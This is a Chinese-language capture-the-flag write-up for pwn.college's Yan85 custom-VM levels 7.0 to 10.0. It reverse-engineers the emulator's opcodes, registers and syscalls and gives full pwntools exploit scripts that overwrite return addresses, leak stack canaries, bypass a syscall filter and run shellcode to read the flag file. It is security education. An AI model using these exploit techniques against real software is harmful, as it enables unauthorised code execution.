而 *(unsigned __int16 *)&a1[3 * v1] | ((unsigned __int64)a1[3 * v1 + 2] << 16)
所做的就是合并出一条三字节指令。
interpret_instruction
函数的定义如下:
__int64 __fastcall interpret_instruction(unsigned __int8 *a1, __int64 a2){ __int64 result; // rax
printf( "[V] a:%#hhx b:%#hhx c:%#hhx d:%#hhx s:%#hhx i:%#hhx f:%#hhx\n", a1[1024], a1[1025], a1[1026], a1[1027], a1[1028], a1[1029], a1[1030]); printf("[I] op:%#hhx arg1:%#hhx arg2:%#hhx\n", BYTE1(a2), (unsigned __int8)a2, BYTE2(a2)); if ( (a2 & 0x400) != 0 ) interpret_imm(a1, a2); if ( (a2 & 0x800) != 0 ) interpret_add(a1, a2); if ( (a2 & 0x100) != 0 ) interpret_stk(a1, a2); if ( (a2 & 0x8000) != 0 ) interpret_stm(a1, a2); if ( (a2 & 0x1000) != 0 ) interpret_ldm(a1, a2); if ( (a2 & 0x200) != 0 ) interpret_cmp(a1, a2); if ( (a2 & 0x2000) != 0 ) interpret_jmp(a1, a2); result = BYTE1(a2) & 0x40; if ( (a2 & 0x4000) != 0 ) return interpret_sys(a1, a2); return result;}
这里,我们可以看到 Yan85 提供的寄存器(a、b、c、d、s、i、f
)在内存中的保存位置分别是 a1[1024]
~ a1[1030]
。
我大胆猜测一下这些寄存器的用途:a、b、c、d
应该是四个通用寄存器;s
应该是栈指针寄存器;i
应该是指令指针寄存器;f
应该是标志寄存器。
然后,第 14 行会输出一个提示信息告诉我们当前 opcode
、arg1
、arg2
的值,这对我们理解内存中的数据如何解析成指令很有帮助。
这里 IDA 的反汇编使用了 BYTE1
、BYTE2
宏。它们的作用分别是取一个数据的第 1 位、第 2 位。同理,BYTE0
取第 1 位,类似的宏应该有 BYTE0 ~ BYTE7
。
我们以数据
x = 0x1122334455667788
为例,BYTE1
做的应该是(x >> 8) & 0xFF
,得到0x77
;BYTE2
做的应该是(x >> 16) & 0xFF
,得到0x66
。
知道了这些后,我很很容易推断出 yancode 使用的三字节指令在内存中的布局 (LSB) 为:arg2 opcode arg1
。
最后,opcode
的判断是根据 (a2 & N) != 0
来实现的。其中 N
对于不同的 opcode
来说是不一样的。
假设我需要执行
add
操作,那就必须满足(a2 & 0x800) != 0
,其中a2
是你的一整条指令(操作码加操作数)。程序会判断你这条指令与0x800
的逻辑与结果是否为 0,不为 0 则断言这条指令的opcode
是add
,再利用你给的args
去调用interpret_add(a1, a2)
,也就是解析add
指令的具体操作。
0x800
的二进制表示是0b100000000000
,所以为了得到一条add
指令,我们要做的就是令bin(a2)
的第 11 位为 1。
好了,下面列张表,记录一下各指令的 opcode
,答案不为一,这里给出的是最小表示。另外,我顺便还分析了一下每条指令的功能,所以这张表也顺便记录了不同指令的使用格式和简介。
Opcode | Instruction | Description |
---|---|---|
\x04 | imm reg, byte | Load byte to reg register. |
\x08 | add reg1, reg2 | Add reg2 to reg1 . |
\x01 | stk reg1, reg2 | Push reg2 if reg2 is not zero, pop reg1 if reg1 is not zero. |
\x80 | stm reg1, reg2 | It does the same as *reg1 = reg2 . |
\x10 | ldm reg1, reg2 | It does the same as reg1 = *reg2 |
\x02 | cmp reg1, reg2 | Compare two registers and set the f register status. |
\x20 | jmp flags, reg | If flags != 0 and flags setted in f , jump to the address saved in reg . |
\x40 | sys SYS_num, reg | Execute specific SYS_num system call, return value saved in reg . |
对于 cmp
指令,不同比较结果的标志位状态表如下:
f status | Compare results |
---|---|
\x10 | reg1 < reg2 |
\x02 | reg1 > reg2 |
\x04 | reg1 = reg2 |
\x01 | reg1 != reg2 |
\x08 | reg1, reg2 = 0 |
对于 sys
指令,我们可用的系统调用号如下:
NR | SYSCALL NAME |
---|---|
\x02 | SYS_open |
\x08 | SYS_read_code |
\x10 | SYS_read_memory |
\x01 | SYS_write |
\x20 | SYS_sleep |
\x04 | SYS_exit |
接下来是搞清楚寄存器的机器码,我们发现一个 describe_register
函数,作用是把寄存器机器码解析为对应寄存器名称。
__int16 *__fastcall describe_register(char a1){ switch ( a1 ) { case 1: return aAbcdsif; case 8: return &aAbcdsif[1]; case 16: return &aAbcdsif[2]; case 2: return &aAbcdsif[3]; case 64: return &aAbcdsif[4]; case 4: return &aAbcdsif[5]; case 32: return &aAbcdsif[6]; } if ( a1 ) return (__int16 *)"?"; return (__int16 *)"NONE";}
.rodata:00000000004031CC aAbcdsif: ; DATA XREF: describe_register+13↑o.rodata:00000000004031CC ; describe_register+22↑o ....rodata:00000000004031CC text "UTF-16LE", 'abcdsif'
还有一个 write_register
函数,用来向寄存器写入数据:
_BYTE *__fastcall write_register(_BYTE *a1, char a2, char a3){ _BYTE *result; // rax
switch ( a2 ) { case 1: result = a1; a1[1024] = a3; break; case 8: result = a1; a1[1025] = a3; break; case 16: result = a1; a1[1026] = a3; break; case 2: result = a1; a1[1027] = a3; break; case 64: result = a1; a1[1028] = a3; break; case 4: result = a1; a1[1029] = a3; break; case 32: result = a1; a1[1030] = a3; break; default: crash(a1, "unknown register"); } return result;}
综合上面两个函数我们得到了不同寄存器所对应的机器码和寄存器在内存中的偏移地址:
Opcode | Register | Offset |
---|---|---|
\x01 | a | 0x400 |
\x08 | b | 0x401 |
\x10 | c | 0x402 |
\x02 | d | 0x403 |
\x40 | s | 0x404 |
\x04 | i | 0x405 |
\x20 | f | 0x406 |
Undefined | ? | Non-existent |
\x00 | NONE | Non-existent |
某些非法情况会触发 crash
函数:
// positive sp value has been detected, the output may be wrong!void __fastcall __noreturn crash(__int64 a1, const char *a2){ printf("Machine CRASHED due to: %s\n", a2); ((void (__fastcall __noreturn *)(__int64, __int64))sys_exit)(a1, 1LL);}
至此,我们基本上已经摸清楚整个 Yan85 架构了,下面来说说这题的攻击思路。
一开始我以为是要用纯 yancode 来写 shellcode,后来发现确实要用 yancode,但并非整个 shellcode 都得用 yancode 来写。这困扰了我将近一天时间(其实也就几个小时,因为我这几天畏难摆烂,所以真正在思考的时间很少……),期间我想了尝试用 yancode 读取 flag 的各种姿势,差点放弃……因为这个先入为主的思维定势浪费了不少时间,希望下次别了。提到这个,我越发觉得需要早点入手一本纸质版的《思考,快与慢》了。电子版着实看不下去,还是纸质版的适合我。虽然这个寒假应该不会有什么时间读……不管了,先买了再说,反正早晚得有~
嗯……我注意到 SYS_read_memory
系统调用内部进行了一些有趣的操作:
if ( (a2 & 0x10) != 0 ){ puts("[s] ... read_memory"); v5 = sys_read(a1, a1[1024], &a1[a1[1025] + 0x300], a1[1026]); write_register(a1, BYTE2(a2), v5);}
ssize_t __fastcall sys_read(__int64 a1, int a2, void *a3, size_t a4){ return read(a2, a3, a4);}
// attributes: thunkssize_t read(int fd, void *buf, size_t nbytes){ return read(fd, buf, nbytes);}
它把数据读到 &a1[a1[1025] + 0x300]
这个位置。我们发现 main
中的 read(0, buf, 0x300uLL);
只让我们读最高 0x300
字节到 buf
,但是这个 SYS_read_memory
却可以让我们把数据读到 buf[offset + 0x300]
处。敏感吗?熟悉吗?0x300
?这不是法外之地吗?
很幸运,我们确实可以用它来覆盖返回地址。但这里我脑子一抽又踩了一个坑,我想着把返回地址覆盖为 sys_open
函数的地址,然后发现就算我可以返回到 sys_open
又如何……
好在五分钟后我就从这个破坑里面爬出来了……我意识到应该结合 main 中的 read,把我的 shellcode 读到内存中,返回地址覆盖为我 shellcode 的起始地址,这才对嘛。
所以最后的攻击链应该是 main 中的 read 读取 yancode + shellcode,其中 yancode 负责调用 SYS_read_memory
来覆盖返回地址,返回地址我们修改为 shellcode 的起始地址,perfect.
调用 SYS_read_memory
需要用到的三个参数分别通过三个寄存器传参。a
传递文件描述符、b
传递偏移、c
传递最大读取大小。
对了,因为 buf[0x300]
到返回地址还有一段不小的距离,所以我们的 offset 直接选择三字节指令可承受的最大值 0xff
,这个随意,只是想负责的说一下以便于你可以更好的理解我的 exp。
最后,说说做完这题后的感想吧……我觉得自己在逆向工程方面的能力还是有巨大提升空间的(对的被你看出来了,我就是菜,又怎样 LOL),一定要静下心来逆向分析啊,这太重要了。讲真这题的逆向其实很简单,就是单纯畏难不想看……我也搞不懂为什么每次碰到难题都会特别的畏难,没有激情,艹我可不能只会擅长的东西啊……动态调试能力与之前相比倒是提升了很多,真棒~
再分享一下刚做完的时候的状态 LOL
Exploit
#!/usr/bin/python3
from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, time,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-7-0"HOST, PORT = "localhost", 1337
gdbscript = """b *interpret_sys+397b *main+715c"""
yancode_length = 0stack_base = 0x7FFFFFFDE000padding_to_ret = b"".ljust(0x19, b"A")
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(): global yancode_length
""" arg1 op arg2 """ yancode = b"\x01\x04\x00" # imm a, 0x00 yancode += b"\x08\x04\xff" # imm b, 0xff yancode += b"\x10\x04\x21" # imm c, 0x21 yancode += b"\x10\x40\x01" # sys 0x02, a yancode += b"\x04\x04\xff" # imm i, 0xff yancode_length = len(yancode)
shellcode = yancode shellcode += asm(shellcraft.chmod("f", 0o4))
return shellcode
def attack(target, payload): try: os.system("ln -s /flag f")
send_payload(target, payload)
ret2shellcode = padding_to_ret ret2shellcode += p64(stack_base + yancode_length)
target.sendlineafter(b"... read_memory", ret2shellcode)
response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore"))
try: with open("./f", "r") as file: content = file.read()
log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): global stack_base
start_time = time.time()
while True: try: target = launch(debug=False) payload = construct_payload()
if attack(target, payload): break
stack_base = stack_base + 0x8 except Exception as e: log.exception(f"An error occurred in main: {e}")
end_time = time.time() elapsed_time = end_time - start_time log.success(f"Total elapsed time: {elapsed_time:.2f} seconds.")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{4KYvwTY0ajVZJykveF7xtOj0Kfc.0VMzMDL5cTNxgzW}
Level 7.1
Information
- Category: Pwn
Description
Write a full exploit for a custom VM involving injecting shellcode and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge. Note, ASLR is disabled!
Write-up
逆向分析我们发现这题把 opcode 都改掉了,所以我们还得先重新确认各指令的 opcode 才行。之后的话思路和上题差不多了,不过栈地址我这次不打算爆破。write
可以从栈中泄漏出来一点栈地址之类的,以它为基,减去 shellcode 的偏移,得到 shellcode 的地址。
嗯,再推荐一个 IDA Plugin,叫 syms2elf。它可以导出带符号表的 ELF 文件,对于那些 stripped,分析起来困难的二进制文件,有了这个插件不要太爽。
Exploit
#!/usr/bin/python3
from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-7-1"HOST, PORT = "localhost", 1337
gdbscript = """b write@pltb *0x401efcc"""
shellcode_offset = 0x4ECpadding_to_ret = b"".ljust(0x19, b"A")
def to_hex_bytes(data): return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(): # stage 1: leak stack base address yancode = b"\x04\x80\x01" # imm a, 0x01 yancode += b"\x10\x80\xff" # imm b, 0xff yancode += b"\x02\x80\x31" # imm c, 0x31 yancode += b"\x10\x02\x04" # sys 0x10, a
# stage 2: overwrite return address yancode += b"\x04\x80\x00" # imm a, 0x00 yancode += b"\x10\x80\xff" # imm b, 0xff yancode += b"\x02\x80\x21" # imm c, 0x21 yancode += b"\x02\x02\x04" # sys 0x02, a yancode += b"\x20\x80\xff" # imm i, 0xff
# stage 3: ret2shellcode shellcode = yancode shellcode += asm(shellcraft.chmod("f", 0o4))
return shellcode
def leak_data(response): leaked_stack_base = response[-8:] log.debug(leaked_stack_base.decode("utf-8", errors="ignore")) log.success(f"Leaked stack base address: {to_hex_bytes(leaked_stack_base)}")
return int.from_bytes(leaked_stack_base, "little")
def attack(target, payload): try: os.system("ln -s /flag f")
send_payload(target, payload)
response = target.recv() log.debug(response.decode("utf-8", errors="ignore"))
stack_base = leak_data(response)
ret2shellcode = padding_to_ret ret2shellcode += p64(stack_base - shellcode_offset)
send_payload(target, ret2shellcode)
try: with open("./f", "r") as file: content = file.read() log.success(content)
return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch(debug=False) payload = construct_payload()
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{8GNqGB_LW-iRUy4il8m7fn0YMK5.0lMzMDL5cTNxgzW}
Level 8.0
Information
- Category: Pwn
Description
Write a full exploit for a custom VM involving injecting shellcode, and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge.
Write-up
啊,就是同时泄漏栈地址和 canary 地址呗,没啥好讲的。自己逆向分析 yancode 的操作码。
Exploit
#!/usr/bin/python3
from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-8-0"HOST, PORT = "localhost", 1337
gdbscript = """b *sys_write+43b *sys_readb *main+750c"""
shellcode_offset = 0x4EDpadding_to_canary = b"".ljust(0x9, b"A")padding_to_ret = b"".ljust(0x8, b"A")
def to_hex_bytes(data): return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(): # stage 1: leak stack base address yancode = b"\x01\x04\x01" # imm a, 0x01 yancode += b"\xff\x40\x01" # imm b, 0xff yancode += b"\x2f\x02\x01" # imm c, 0x2f yancode += b"\x04\x10\x08" # sys 0x10, a
# stage 2: overwrite return address yancode += b"\x00\x04\x01" # imm a, 0x00 yancode += b"\xff\x40\x01" # imm b, 0xff yancode += b"\x21\x02\x01" # imm c, 0x21 yancode += b"\x04\x02\x08" # sys 0x02, a yancode += b"\xff\x20\x01" # imm i, 0xff
# stage 3: ret2shellcode shellcode = yancode shellcode += asm(shellcraft.chmod("f", 0o4))
return shellcode
def leak_data(response): leaked_canary = response[-0x26:-0x1E] leaked_stack_base = response[-0x6:] log.success(f"Leaked canary: {to_hex_bytes(leaked_canary)}") log.success(f"Leaked stack base address: {to_hex_bytes(leaked_stack_base)}")
return [ int.from_bytes(leaked_canary, "little"), int.from_bytes(leaked_stack_base, "little"), ]
def attack(target, payload): try: os.system("ln -s /flag f")
send_payload(target, payload)
response = target.recv() log.debug(response.decode("utf-8", errors="ignore")) target.recvuntil(b"... write") response = target.recv(0x30)
canary, stack_base = leak_data(response)
ret2shellcode = padding_to_canary ret2shellcode += p64(canary) ret2shellcode += padding_to_ret ret2shellcode += p64(stack_base - shellcode_offset)
send_payload(target, ret2shellcode)
response = target.recvall(timeout=3) log.debug(response.decode("utf-8", errors="ignore"))
try: with open("./f", "r") as file: content = file.read() log.success(content)
return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch(debug=False) payload = construct_payload()
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{wRfuRyCMy3WESGVx2pkEv3pQiJA.01MzMDL5cTNxgzW}
Level 8.1
Information
- Category: Pwn
Description
Write a full exploit for a custom VM involving injecting shellcode, and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge.
Write-up
参见 Level 8.0。
Exploit
#!/usr/bin/python3
from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-8-1"HOST, PORT = "localhost", 1337
gdbscript = """b write@pltb read@pltc"""
shellcode_offset = 0x4EDpadding_to_canary = b"".ljust(0x9, b"A")padding_to_ret = b"".ljust(0x8, b"A")
def to_hex_bytes(data): return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(): # stage 1: leak stack base address yancode = b"\x01\x40\x20" # imm a, 0x01 yancode += b"\xff\x40\x08" # imm b, 0xff yancode += b"\x2f\x40\x10" # imm c, 0x2f yancode += b"\x01\x80\x01" # sys 0x01, d
# stage 2: overwrite return address yancode += b"\x00\x40\x20" # imm a, 0x00 yancode += b"\xff\x40\x08" # imm b, 0xff yancode += b"\x21\x40\x10" # imm c, 0x21 yancode += b"\x20\x80\x04" # sys 0x02, a yancode += b"\xff\x40\x40" # imm i, 0xff
# stage 3: ret2shellcode shellcode = yancode shellcode += asm(shellcraft.chmod("f", 0o4))
return shellcode
def leak_data(response): leaked_canary = response[-0x26:-0x1E] leaked_stack_base = response[-0x6:] log.success(f"Leaked canary: {to_hex_bytes(leaked_canary)}") log.success(f"Leaked stack base address: {to_hex_bytes(leaked_stack_base)}")
return [ int.from_bytes(leaked_canary, "little"), int.from_bytes(leaked_stack_base, "little"), ]
def attack(target, payload): try: os.system("ln -s /flag f")
send_payload(target, payload)
response = target.recv() log.debug(response.decode("utf-8", errors="ignore"))
canary, stack_base = leak_data(response)
ret2shellcode = padding_to_canary ret2shellcode += p64(canary) ret2shellcode += padding_to_ret ret2shellcode += p64(stack_base - shellcode_offset)
send_payload(target, ret2shellcode)
response = target.recvall(timeout=3) log.debug(response.decode("utf-8", errors="ignore"))
try: with open("./f", "r") as file: content = file.read() log.success(content)
return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch(debug=False) payload = construct_payload()
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{IX1KO9KJhczkci-cjl7VXfsQ-Qw.0FNzMDL5cTNxgzW}
Level 9.0
Information
- Category: Pwn
Description
Provide your own Yan85 shellcode! This time, it’s filtered.
Write-up
1 collapsed line
int __fastcall __noreturn main(int argc, const char **argv, const char **envp){ int v3; // [rsp+18h] [rbp-418h] int i; // [rsp+1Ch] [rbp-414h] _BYTE v5[1024]; // [rsp+20h] [rbp-410h] BYREF int v6; // [rsp+420h] [rbp-10h] __int16 v7; // [rsp+424h] [rbp-Ch] char v8; // [rsp+426h] [rbp-Ah]15 collapsed lines
unsigned __int64 v9; // [rsp+428h] [rbp-8h]
v9 = __readfsqword(0x28u); printf("[+] Welcome to %s!\n", *argv); puts("[+] This challenge is an custom emulator. It emulates a completely custom"); puts("[+] architecture that we call \"Yan85\"! You'll have to understand the"); puts("[+] emulator to understand the architecture, and you'll have to understand"); puts("[+] the architecture to understand the code being emulated, and you will"); puts("[+] have to understand that code to get the flag. Good luck!"); puts("[+]"); puts("[+] This level is a full Yan85 emulator. You'll have to reason about yancode,"); puts("[+] and the implications of how the emulator interprets it!"); setvbuf(_bss_start, 0LL, 2, 1uLL); memset(v5, 0, sizeof(v5)); v6 = 0; v7 = 0; v8 = 0; printf("[!] This time, YOU'RE in control! Please input your yancode: "); read(0, &v5[256], 0x300uLL); puts("[!] Are you ready for ultimate Yan85 shellcoding? This challenge only allows you ONE sys instruction!"); v3 = 0; for ( i = 0; i <= 255; ++i ) { if ( (v5[3 * i + 256] & 4) != 0 ) ++v3; } if ( v3 > 1 ) __assert_fail("num_syscalls <= 1", "/challenge/toddlerone-level-9-0.c", 0x1BAu, "main"); puts("[+] This might seem impossible, but this challenge makes one memory error that will allow you"); puts("[+] to execute the system calls you need. The error is what's known as an *intra-frame* overflow:"); puts("[+] you won't be able to hijack control flow, but you'll be able to mess with the intended logic");9 collapsed lines
puts("[+] of the emulator!"); puts("[+]"); puts("[+] This is a *teaching* challenge, which means that it will output"); puts("[+] a trace of the Yan85 code as it processes it. The output is here"); puts("[+] for you to understand what the challenge is doing, and you should use"); puts("[+] it as a guide to help with your reversing of the code."); puts("[+]"); interpreter_loop(v5);}
这题把 orw
系统调用都开放了,所以我们可以考虑能不能直接通过 orw
拿 flag。main 逻辑是把我们的输入数据读到 &v5[256]
处,然后绿色部分是一个 filter,负责判断 256 组三字节指令是否包含 syscall 的 opcode,包含则增加 v3
,v3 > 1
则断言失败。所以简单来说就是我们输入的数据最多只能使用一个 syscall。
好办,我们知道 interpreter_loop(v5)
会不断读取并执行下一条指令:
void __fastcall __noreturn interpreter_loop(__int64 a1){ unsigned __int8 v1; // al
while ( 1 ) { v1 = *(_BYTE *)(a1 + 1029); *(_BYTE *)(a1 + 1029) = v1 + 1; interpret_instruction( a1, *(unsigned __int16 *)(a1 + 3LL * v1 + 256) | ((unsigned __int64)*(unsigned __int8 *)(a1 + 3LL * v1 + 258) << 16)); }}
如果我们先提供一个 read
syscall,把我们的 shellcode 读到 &v5[255]
处,是不是绕过了 filter?而之后因为 rip
一直在改变,我们是不是需要填充一些垃圾值占位那些我们执行过的指令?在此之后就是我们当前的 rip
了,在这里写 shellcode,是不是就接着执行了?
妙哉,开撸!
话说为什么我每次一有思路的时候就正好播放《雾里》了?好的,单曲循环直到打通 LMAO
Exploit
#!/usr/bin/python3
from pwn import ( ELF, context, gdb, log, process, remote,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-9-0"HOST, PORT = "localhost", 1337
gdbscript = """b *main+287b *sys_read+43b *sys_open+43b *sys_write+43c"""
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(stage): if stage == 1: # read the shellcode to where is out of the filter's range yancode = b"\x80\x08\x00" # imm a, 0x00 yancode += b"\x80\x02\xff" # imm b, 0xff yancode += b"\x80\x01\xff" # imm c, 0xff yancode += b"\x04\x10\x08" # sys 0x10, a
return yancode elif stage == 2: # padding to rip yancode = b"\x00" * 13
# construct "/flag" string yancode += b"\x80\x08\x00" # imm a, 0x00 yancode += b"\x80\x02\x2f" # imm b, 0x2f yancode += b"\x40\x08\x02" # stm a, b yancode += b"\x80\x08\x01" # imm a, 0x01 yancode += b"\x80\x02\x66" # imm b, 0x66 yancode += b"\x40\x08\x02" # stm a, b yancode += b"\x80\x08\x02" # imm a, 0x02 yancode += b"\x80\x02\x6c" # imm b, 0x6c yancode += b"\x40\x08\x02" # stm a, b yancode += b"\x80\x08\x03" # imm a, 0x03 yancode += b"\x80\x02\x61" # imm b, 0x61 yancode += b"\x40\x08\x02" # stm a, b yancode += b"\x80\x08\x04" # imm a, 0x04 yancode += b"\x80\x02\x67" # imm b, 0x67 yancode += b"\x40\x08\x02" # stm a, b
# open /flag yancode += b"\x80\x08\x00" # imm a, 0x00 yancode += b"\x80\x02\x00" # imm b, 0x00 yancode += b"\x04\x01\x08" # sys 0x01, a
# read yancode += b"\x80\x02\x08" # imm b, 0x08 yancode += b"\x80\x01\xff" # imm c, 0xff yancode += b"\x04\x10\x08" # sys 0x10, a
# write yancode += b"\x80\x08\x01" # imm a, 0x01 yancode += b"\x04\x08\x08" # sys 0x08 a
return yancode else: log.error("Invalid stage number.")
def extract_flag(target): try: target.recvuntil(b"pwn.college{") flag = target.recv(0xFF) log.success(f"pwn.college{{{flag.decode("utf-8")}") exit() except Exception as e: log.exception(f"An error occurred while extracting flag: {e}")
def attack(target, payload): try: send_payload(target, payload)
payload = construct_payload(2) send_payload(target, payload)
extract_flag(target) except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch(debug=False) payload = construct_payload(1)
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{UDbugZTc3krZyqHikNYIwlOG2I2.0VNzMDL5cTNxgzW}
Level 9.1
Information
- Category: Pwn
Description
Provide your own Yan85 shellcode! This time, it’s filtered.
Write-up
参见 Level 9.0。
Exploit
#!/usr/bin/python3
from pwn import ( ELF, context, gdb, log, process, remote,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-9-1"HOST, PORT = "localhost", 1337
gdbscript = """c"""
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(stage): if stage == 1: # read the shellcode to where is out of the filter's range yancode = b"\x00\x02\x80" # imm a, 0x00 yancode += b"\xff\x20\x80" # imm b, 0xff yancode += b"\xff\x04\x80" # imm c, 0xff yancode += b"\x02\x02\x10" # sys 0x02, a
return yancode elif stage == 2: # padding to rip yancode = b"\x00" * 13
# construct "/flag" string yancode += b"\x00\x02\x80" # imm a, 0x00 yancode += b"\x2f\x20\x80" # imm b, 0x2f yancode += b"\x20\x02\x04" # stm a, b yancode += b"\x01\x02\x80" # imm a, 0x01 yancode += b"\x66\x20\x80" # imm b, 0x66 yancode += b"\x20\x02\x04" # stm a, b yancode += b"\x02\x02\x80" # imm a, 0x02 yancode += b"\x6c\x20\x80" # imm b, 0x6c yancode += b"\x20\x02\x04" # stm a, b yancode += b"\x03\x02\x80" # imm a, 0x03 yancode += b"\x61\x20\x80" # imm b, 0x61 yancode += b"\x20\x02\x04" # stm a, b yancode += b"\x04\x02\x80" # imm a, 0x04 yancode += b"\x67\x20\x80" # imm b, 0x67 yancode += b"\x20\x02\x04" # stm a, b
# open /flag yancode += b"\x00\x02\x80" # imm a, 0x00 yancode += b"\x00\x20\x80" # imm b, 0x00 yancode += b"\x02\x20\x10" # sys 0x20, a
# read yancode += b"\x08\x20\x80" # imm b, 0x08 yancode += b"\xff\x04\x80" # imm c, 0xff yancode += b"\x02\x02\x10" # sys 0x02, a
# write yancode += b"\x01\x02\x80" # imm a, 0x01 yancode += b"\x02\x01\x10" # sys 0x01 a
return yancode else: log.error("Invalid stage number.")
def extract_flag(target): try: target.recvuntil(b"pwn.college{") flag = target.recv(0xFF) log.success(f"pwn.college{{{flag.decode("utf-8")}") exit() except Exception as e: log.exception(f"An error occurred while extracting flag: {e}")
def attack(target, payload): try: send_payload(target, payload)
payload = construct_payload(2) send_payload(target, payload)
extract_flag(target) except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch(debug=False) payload = construct_payload(1)
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{kV-lC4_vz8LW0vUOLmZ5sKafrjA.0lNzMDL5cTNxgzW}
Level 10.0
Information
- Category: Pwn
Description
The ultimate Yan85 challenge. Provide your own Yan85 shellcode.
Write-up
这题解法很巧妙,我们不能像 Level 9 一样绕过 filter。但是注意观察 interpret_sys
的实现,我们发现,里面每一个 if
语句无论成立与否都会继续判断下一条 if
:
12 collapsed lines
int __fastcall interpret_sys(unsigned __int8 *a1, int a2){ const char *v2; // rax unsigned __int8 v3; // al unsigned __int64 v4; // rax unsigned __int8 v5; // al unsigned __int64 v6; // rax unsigned __int8 v7; // al unsigned __int8 v8; // al int result; // eax int v10; // ebx const char *v11; // rax
v2 = (const char *)describe_register(BYTE2(a2)); printf("[s] SYS %#hhx %s\n", BYTE1(a2), v2); if ( (a2 & 0x100) != 0 ) { puts("[s] ... open"); v3 = sys_open(a1, &a1[a1[1024] + 768], a1[1025], a1[1026]);1 collapsed line
write_register(a1, BYTE2(a2), v3); } if ( (a2 & 0x2000) != 0 ) crash(a1, "Disallowed system call: SYS_READ_CODE"); if ( (a2 & 0x1000) != 0 ) { puts("[s] ... read_memory"); v4 = a1[1026];2 collapsed lines
if ( 256 - a1[1025] <= v4 ) LOBYTE(v4) = -a1[1025]; v5 = sys_read(a1, a1[1024], &a1[a1[1025] + 768], (unsigned __int8)v4); write_register(a1, BYTE2(a2), v5); } if ( (a2 & 0x200) != 0 ) { puts("[s] ... write"); v6 = a1[1026];25 collapsed lines
